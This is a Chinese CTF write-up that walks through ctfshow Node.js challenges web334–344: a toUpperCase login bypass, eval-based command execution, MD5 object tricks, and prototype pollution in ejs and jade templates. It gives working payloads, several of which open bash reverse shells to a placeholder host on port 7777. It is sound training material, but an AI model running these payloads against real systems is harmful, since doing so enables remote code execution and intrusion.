web334

大小写绕过

访问环境

下载附件得到源码,开始审计

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};/* GET home page. */
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}
});module.exports = router;

user.js

module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

先看路由,在login.js中只有一个路由

router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';var sess = req.session;var user = findUser(req.body.username, req.body.password);if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }req.session.loginUser = user.username;res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}
});

提示flag就在这里,但是需要登录成功,这里调用了findUser函数,跟进

var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};

三个条件,第一个对用户名进行全类型比较,需要不等于CTFSHOW,第二个需要用户名在转为大写之后等于CTFSHOW,第三个是判断密码是否正确,在user.js中提供了账号密码

module.exports = {items: [{username: 'CTFSHOW', password: '123456'}]
};

第一种大小写绕过

发送一个大小写的用户名

payload

username=CTFshow&password=123456

第二种JS特性

利用Javascript大小写特性 参考 P神

对于toUpperCase():

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

字符"K"经过`toLowerCase`处理后结果为"k"(这个K不是K)
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'

在绕一些规则的时候就可以利用这几个特殊字符进行绕过

payload

ctfſhow 123456   ctfſhow 123456

web335

node.js命令执行

访问

查看源码,有提示

访问/?eval

输入字母提示404找不到文件

输入数字回显数字

猜测后端语句为

/?eval=console.log(value) // value 就是我们输入的值

eval可以执行js代码,那我们就可以利用js代码去进行RCE

利用child_process包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用

利用child_process模块执行命令

execexecSync

这是child_process模块里面最简单的函数,作用就是执行一个固定的系统命令

const { exec } = require('child_process');
// 输出当前目录(不一定是代码所在的目录)下的文件和文件夹
exec('ls -l', (err, stdout, stderr) => {if(err) {console.log(err);return;}console.log(`stdout: ${stdout}`);console.log(`stderr: ${stderr}`);
})

execSyncexec的同步版本,不过无论是execSync还是exec,得到的结果都是字符串或者Buffer对象,一般需要进一步处理。

spawnspawnSync

child_process模块中所有函数都是基于spawnspawnSync函数的来实现的,换句话来说,spawnspawnSync函数的配置是最完全的,其它函数都是对其做了封装和修改

spawn函数原型是这样的:child_process.spawn(command[, args][, options])

运行 ls -lh /usr、捕获 stdoutstderr 和退出码的示例:

const { spawn } = require('node:child_process');
const ls = spawn('ls', ['-lh', '/usr']);ls.stdout.on('data', (data) => {console.log(`stdout: ${data}`);
});ls.stderr.on('data', (data) => {console.error(`stderr: ${data}`);
});ls.on('close', (code) => {console.log(`child process exited with code ${code}`);
});

payload

//execSync
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');

利用fs模块去读文件

fs模块就是nodejs中一个文件操作模块,可以对文件进行删除增加写入读取操作

//添加文件夹  一次只能创建一个,每次创建的都是路径最后的一个文件,如果一次创建多个会报错
fs.mkdir("./logs",(err) => {if(err) throw err;console.log("创建成功");
})//修改文件夹名字
fs.rename("./logs","./log",(err) => {if(err) throw err;console.log("创建成功");
})//删除文件夹 如果当前 log 文件夹下还有东西,会删除失败,只能删除空的文件夹
fs.rmdir("./log",(err) => {if(err) throw err;console.log("删除成功");
})//读取文件夹
fs.readdir(path.join(__dirname,"./logs"),(err,result) => {if(err) throw err;console.log(result);
})//读文件 //导入fs模块const fs = require('fs');//调用readFile方法,给到文件路径以及成功和失败的值fs.readFile('./测试.txt',function(err,data){//判断读取是否成功,输出想对应的值err == null ? console.log(data.toString()) : console.log("读取失败" + err) ;})

payload

/?eval=require('fs').readdirSync('.') // 查看当前目录
/?eval=require('fs').readFileSync('fl00g.txt') //读取文件

利用拼接绕过命令执行

'+' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb);
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')

对payload进行拼接操作,可以对一些关键字的过滤进行绕过,

web336

过滤了exec,可以使用spawn或者是读文件同web335一样

web337

考点:md5比较

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

关键点

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}

md5比较,跟php很相似,但是还存在一定的差异,php中是a[]=1&b[]=2这样去解,但是这里不一样

//cv yu师傅的代码
a={'x':'1'}
b={'x':'2'}console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")

执行

两个值都是[object Object]flag{xxx},所以他们的md5值肯定也都是一样的

payload

a[x]=1&b[x]=2
b[]=1&a[]=1

web338

考点:ejs原型污染

没基础必须看!!

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
https://xz.aliyun.com/t/7184
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype__proto__

关于原型链

在javascript,每一个实例对象都有一个prototype属性,prototype 属性可以向对象添加属性和方法。

例子:

object.prototype.name=value

在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:

objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype

不同对象所生成的原型链如下(部分):

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

原型链污染原理

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

开始解题

app.js

var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');

导入了ejs模板渲染引擎,这个东西经常出现原型污染问题,而且大多都是利用原型污染来RCE,代码审计,先看路由

app.use('/', indexRouter);
app.use('/login', loginRouter);

inedx路由

var express = require('express');
var router = express.Router();/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');res.render('index', { title: 'Express' });
});module.exports = router

没有啥功能,只是一个模板渲染

login路由

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;

可以看到flag就在这里,要想获得flag,就必须要使secert.ctfshow等于36dboy,当看完上面的文章,再看这里结果已经已经不言而喻了,就是利用原型污染给secret的原型添加一个属性名为ctfshow值为36dboy,这样就符合条件得到flag

现在目的是知道了。该如何修改?在哪里修改?

login.js代码中存在一个copy功能,utils.copy就类似于merge函数,存在原型污染

utils.copy(user,req.body); // req.body 就是用户输入的参数

Payload

{"username":"jiamu","password":"jiamu","__proto__":{"ctfshow":"36dboy"}}

web339

考点:ejs原型污染rce

这题跟上题有两个不一样的区别,第一个就在于login.js中

router.post('/', require('body-parser').json(), function (req, res, next) {res.type('html');var flag = 'flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user, req.body);if (secert.ctfshow === flag) {res.end(flag);} else {return res.json({ret_code: 2, ret_msg: '登录失败' + JSON.stringify(user)});}});

需要secret的值和flag值一样,flag是字符串类型,而且整个代码中,flag并没有参与任何操作,所以这个点已经不能利用了

第二个不一样的是多了一个api.js文件

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;

而且里面有个特别可疑的点

res.render('api', { query: Function(query)(query)});

就是这个东西,这个从哪里来的,而且函数参数和函数体都是这个query参数,只要控制了这个query参数就可以很轻松的rce了,那么这题的点应该就是这里了

预期解

变量覆盖污染query参数

跟进copy函数

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

执行结果

return 123

成功将query参数污染

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}

将payload发送后,访问api路由触发

非预期

利用ejs原型污染rce

参考

https://xz.aliyun.com/t/7075?page=1

在我看来就是:看属性类型,造出一个属性进行闭合

payload

{"__proto__": {"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"}
}

payload发送后,访问api路由触发

web340

考点:ejs两层原型污染rce

总体来看,跟上题没有太大区别,只不过需要向上污染两级

login.js

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){ // 向上两层this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }});module.exports = router;

user.userinfo第一层是函数Function,再向上一层是Object对象

function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}
}
var user = new function(){this.userinfo = new function(){ // 向上两层this.isVIP = false;this.isAdmin = false;this.isAuthor = false;};
}body=JSON.parse('{"__proto__": {"__proto__":{"query":"return 123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo);
console.log(user.query)

输出结果

{ isVIP: false, isAdmin: false, isAuthor: false }
return 123

成功污染

Payload

污染query参数

{"__proto__": {"__proto__": {"query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"')"}}
}

ejs原型污染rce

{"__proto__": {"__proto__": {"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"}}
}

发送后一定要记得,访问api路由触发原型污染

web341

考点:ejs两层原型污染rce

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'});  }else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }});module.exports = router;

还是二层污染rce,这题没有了api.js,二层污染query参数就不能使用了,那就是用ejsrce的原型污染payload

{"__proto__": {"__proto__": {"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"}}
}

发送后,访问任意一个页面触发payload

web342-web343

考点:jade原型链污染

参考连接

https://xz.aliyun.com/t/7025

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'});  }else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }});module.exports = router;

参考文章

https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/#0x02-jade
https://tari.moe/2021/05/04/ctfshow-nodejs/

payload

{"__proto__": {"__proto__": {"type": "Block","nodes": "","compileDebug": 1,"self": 1,"line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}
}

打完payload,记得随便访问一个地址,触发payload

web344

考点:nodejs特性

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

正常输入

?query={"name":"admin","password":"ctfshow","isVIP":true}

但是这里的过滤/8c|2c|\,/ig将逗号还有他的url编码过滤了,尝试绕过

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

payload

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs会自动将这个三个拼接起来,为什么把ctfshow中的c编码呢,因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。

CTFshowWeb入门nodejs相关推荐

  1. 带你入门nodejs第一天——node基础语法及使用

    带你入门nodejs第一天--node基础语法及使用 带你入门nodejs第二天--http 模块化 npm yarm 带你入门nodejs第三天-express路由 带你学习nodejs第四天--身 ...

  2. 带你入门nodejs第二天——http 模块化 npm yarm

    带你入门nodejs第一天--node基础语法及使用 带你入门nodejs第二天--http 模块化 npm yarm 带你入门nodejs第三天-express路由 带你学习nodejs第四天--身 ...

  3. Vue05之ElementUI入门+nodejs环境搭建+运行nodejs项目

    14天阅读挑战赛 努力是为了不平庸~ 目录 1. ElementUI入门 1.1 ElementUI简介 1.2 Vue+ElementUI安装 1.3 开发示例 2. 搭建nodejs环境 2.1 ...

  4. 十分钟带你入门Nodejs

    前言: 我们去学习一样东西时,一定不可盲目去摸索,必须得有目标,学完之后,应该是知其然,知其所以然.ok话不多说,进入今天的主题. 学习nodejs需要掌握的前置知识:html  css   java ...

  5. 【NodeJS笔记】三分钟快速入门NodeJS

    官网:https://www.runoob.com/nodejs/nodejs-tutorial.html 初始NodeJS 简单的说 Node.js 就是运行在服务端的 JavaScript. No ...

  6. ctfshow-web入门-node.js

    web334 先下载附件,在user.js中发现了账号密码 开环境,直接输入账号密码是错的,具体原因在login.js中 var findUser = function(name, password) ...

  7. ctfshow web入门 nodejs 334-341(更新中)

    前言 说实在也没啥好说的,希望大家要有勇气,向难题挑战,别像我一样自始至终都是一个菜狗,哎. 这里在刚开始的,我就有一个问题就是我发现刚开始使用的是require来导入模块,但是到了后面发现大部分使用 ...

  8. 【CTFSHOW】web入门 NodeJS

    文章目录 写在前面 web334 web335 web336 web337 web338 web339 web340 web341 web342 web343 web344 参考资料 写在前面 web ...

  9. ctfshow-web入门(21-28)

    爆破 web21 web22 web23 web24 web25 web26 web27 web28 web21 爆破后台: 抓包后发现base64,解码后: 设置payload: 自定义迭代器 第二 ...

最新文章

  1. 开源项目JacpFX
  2. 【正一专栏】读《江村经济》——献给妻子的书
  3. IDEA中无法识别servlet类或找不到javax.servlet.*
  4. 多行文本超出用省略号代替,单击展开全部
  5. 基于指数平滑对心电信号进行PQRST模拟(第二种方案)
  6. html分步调试,一般纯HTML网页的JavaScript的单步执行与调试(以VS2005)
  7. 神经网络算法学习---mini-batch++++mini-batch和batch的区别
  8. 获得网页中元素的位置
  9. Java有了synchronized,为什么还要提供Lock
  10. ftp ---- 本地用户登录(实例配置1:)
  11. 关于Win32 DialogBox的一些收获
  12. Hibernate注解方式开发实体类
  13. slid.es – 创建在线幻灯片和演示文稿的最佳途径
  14. c#中动态调用webService
  15. 《Windows游戏编程大师技巧》一、学海无涯
  16. 2015 2020 r4烧录卡 区别_奥美拉唑、雷贝拉唑、艾司奥美拉唑的区别
  17. c语言校招笔试试题,腾讯2014校园招聘C语言笔试题
  18. Motrix全能下载神器 无限制版 支持下载HTTP、磁力、FTP、BT、百度网盘等
  19. 2020电子信息夏令营(湖大,吉大,中山,武大,浙大)
  20. 互联网产品为什么能让用户“上瘾”,常用套路是什么?

热门文章

  1. 如何提高深度学习预测准确率
  2. MySQL定时任务(EVENT|事件)如何配置,必会技能!
  3. 推荐系统引擎——模型(1)
  4. 什么是中台系统以及挑战和解决方案?
  5. 电视盒子安装linux微信,怎么在电视上安装微信-电视盒子(智能电视)这样几步设置,轻松安装APP软件...
  6. mysql slave skip_mysql运维-slave_skip_errors
  7. 定时器Timer(一)—— 定时器Timer的使用
  8. 免费DEM数据(ASTER GDEMV3、ASTER GDEMV2、ASTER GDEMV1,SRTM90米、SRTM30米、GLS 2005 DEM、TanDEM)下载方式总结
  9. CPU Scaling
  10. PPT中如何制作两圆交叉阴影图